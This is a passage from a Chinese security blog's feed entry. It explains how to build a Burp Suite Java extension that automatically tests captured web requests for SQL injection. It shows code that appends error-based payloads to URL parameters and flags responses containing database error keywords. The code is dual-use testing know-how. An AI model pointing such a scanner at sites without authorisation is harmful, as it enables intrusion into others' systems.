config.blackExt) &#123;</span><br><span class="line">            <span class="keyword">int</span> extend = url.lastIndexOf(<span class="string">"?"</span>);</span><br><span class="line">            <span class="keyword">int</span> extstart = url.lastIndexOf(<span class="string">"."</span>)+<span class="number">1</span>;</span><br><span class="line">            String urlext=<span class="string">""</span>;</span><br><span class="line">            <span class="keyword">if</span>(extend&gt;extstart) &#123;</span><br><span class="line">                urlext = url.substring(extstart, extend);</span><br><span class="line">            &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">int</span> secstart = url.lastIndexOf(<span class="string">"."</span>,extend);</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    urlext = url.substring(secstart+<span class="number">1</span>, extend);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                    urlext = url.substring(extstart, url.length());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (urlext.equals(ext)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        </span><br><span class="line">        List&lt;String&gt; headers =  <span class="keyword">this</span>.helpers.analyzeRequest(baseRequestResponse).getHeaders();</span><br><span class="line">        List&lt;IParameter&gt; params =  <span class="keyword">this</span>.helpers.analyzeRequest(baseRequestResponse).getParameters();</span><br><span class="line"></span><br><span class="line">        </span><br><span class="line">        <span class="comment">//Gen headers</span></span><br><span class="line">        Map&lt;String,String&gt; allheaders = <span class="keyword">new</span> HashMap&lt;String,String&gt;();</span><br><span class="line">        <span class="keyword">for</span> (String header : headers) &#123;</span><br><span class="line">            <span class="keyword">if</span> (header.contains(<span class="string">":"</span>)) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    String[] headerArrayStrings = header.split(<span class="string">":"</span>);</span><br><span class="line">                    <span class="keyword">if</span>(!headerArrayStrings[<span class="number">1</span>].contains(<span class="string">"gzip"</span>)) &#123;</span><br><span class="line">                        allheaders.put(headerArrayStrings[<span class="number">0</span>].trim(), headerArrayStrings[<span class="number">1</span>]);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;&#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            checkSqli.nstcheckSqli(url, method, allheaders, params,stdout,content_type);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>这样的话我们就拿到burpsuite给我们传递过来的http request请求的包了。IHttpRequestResponse 里封装了我们的请求包及返回的信息。</p><p>然后我们就可以根据payload来尝试是否存在sql注入了。</p><p>封装了一个http的get和post的请求函数，基于okhttp。可直接调用<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * HTTP GET</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> url</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> headers</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException </span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">Get</span><span class="params">(String url,Map&lt;String,String&gt; headers)</span></span>&#123;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            OkHttpClient client = <span class="keyword">new</span> OkHttpClient();</span><br><span class="line">            Builder builder = <span class="keyword">new</span> Request.Builder().url(url);</span><br><span class="line">            Iterator&lt;Map.Entry&lt;String, String&gt;&gt; entries = headers.entrySet().iterator();</span><br><span class="line">            <span class="keyword">while</span> (entries.hasNext()) &#123;</span><br><span class="line">                Entry&lt;String, String&gt; entry = entries.next();</span><br><span class="line">                builder.addHeader(entry.getKey(), entry.getValue());</span><br><span class="line">            &#125;</span><br><span class="line">            Request request = builder.build();</span><br><span class="line">            Response response = client.newCall(request).execute();</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> response.body().string();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            <span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">            <span class="keyword">return</span> getrandstrs();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></p><p>Post也类似，查看okhttp的文档，修改响应的部分就行了。</p><p>然后就是检测注入了。</p><p>部分代码<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">checkerrorsql</span><span class="params">(String url,String method,Map&lt;String,String&gt; headers,List&lt;IParameter&gt; parameters,PrintWriter stdout,<span class="keyword">byte</span> content_type)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span>(method.equals(<span class="string">"GET"</span>)) &#123;</span><br><span class="line">            <span class="keyword">for</span> (IParameter iParameter : parameters) &#123;  </span><br><span class="line">                <span class="keyword">if</span>(iParameter.getType()==IParameter.PARAM_URL) &#123;</span><br><span class="line">                    <span class="keyword">for</span> (String pay : config.error_payloads) &#123;</span><br><span class="line">                        String paramitem = iParameter.getName()+<span class="string">"="</span>+iParameter.getValue();</span><br><span class="line">                        String payloaditem = paramitem + pay;</span><br><span class="line">                        String myurl = url.replace(paramitem, payloaditem);</span><br><span class="line">                        String html = HTTPClient.Get(myurl, headers);</span><br><span class="line">                        <span class="keyword">for</span> (String respflag : config.error_flag) &#123;</span><br><span class="line">                            <span class="keyword">if</span>(html.contains(respflag)) &#123;</span><br><span class="line">                                stdout.println(<span class="string">"***************************************"</span>);</span><br><span class="line">                                stdout.println(<span class="string">"[+] Error-Base SQLI :"</span>);</span><br><span class="line">                                stdout.println(myurl);</span><br><span class="line">                                stdout.println(<span class="string">"NST SQLI Scaner"</span>);</span><br><span class="line">                                stdout.println(<span class="string">"***************************************"</span>);</span><br><span class="line">                                <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>检测报错的注入可通过返回包中是否存在关键字来判断。get和post均可。</p><p>而bool注入则根据多个相应包的比较来判断，time-base类型注入直接根据响应时间即可。</p><h3 id="最终效果"><a href="#最终效果" class="headerlink" title="最终效果"></a>最终效果</h3><p>我们只需要开启burp，然后随便在网站点几个URL请求。然后就坐等注入即可。</p><p>如图</p><p><img src="http://hexoblog-1253112764.file.myqcloud.com/sql.png" alt="插件截图"></p><h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><p><a href="http://www.vuln.cn/6097" target="_blank" rel="noopener">http://www.vuln.cn/6097</a></p><p><a href="https://portswigger.net/burp/extender/api/index.html" target="_blank" rel="noopener">https://portswigger.net/burp/extender/api/index.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;BurpSuite是久负盛名的web应用安全测试工具，在安全圈子中被誉为“神器”。它的核心功能是http代理，并在此基础上提供了丰富的自定义
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="java" scheme="https://www.beysec.com/tags/java/"/>
    
  </entry>
  
</feed>
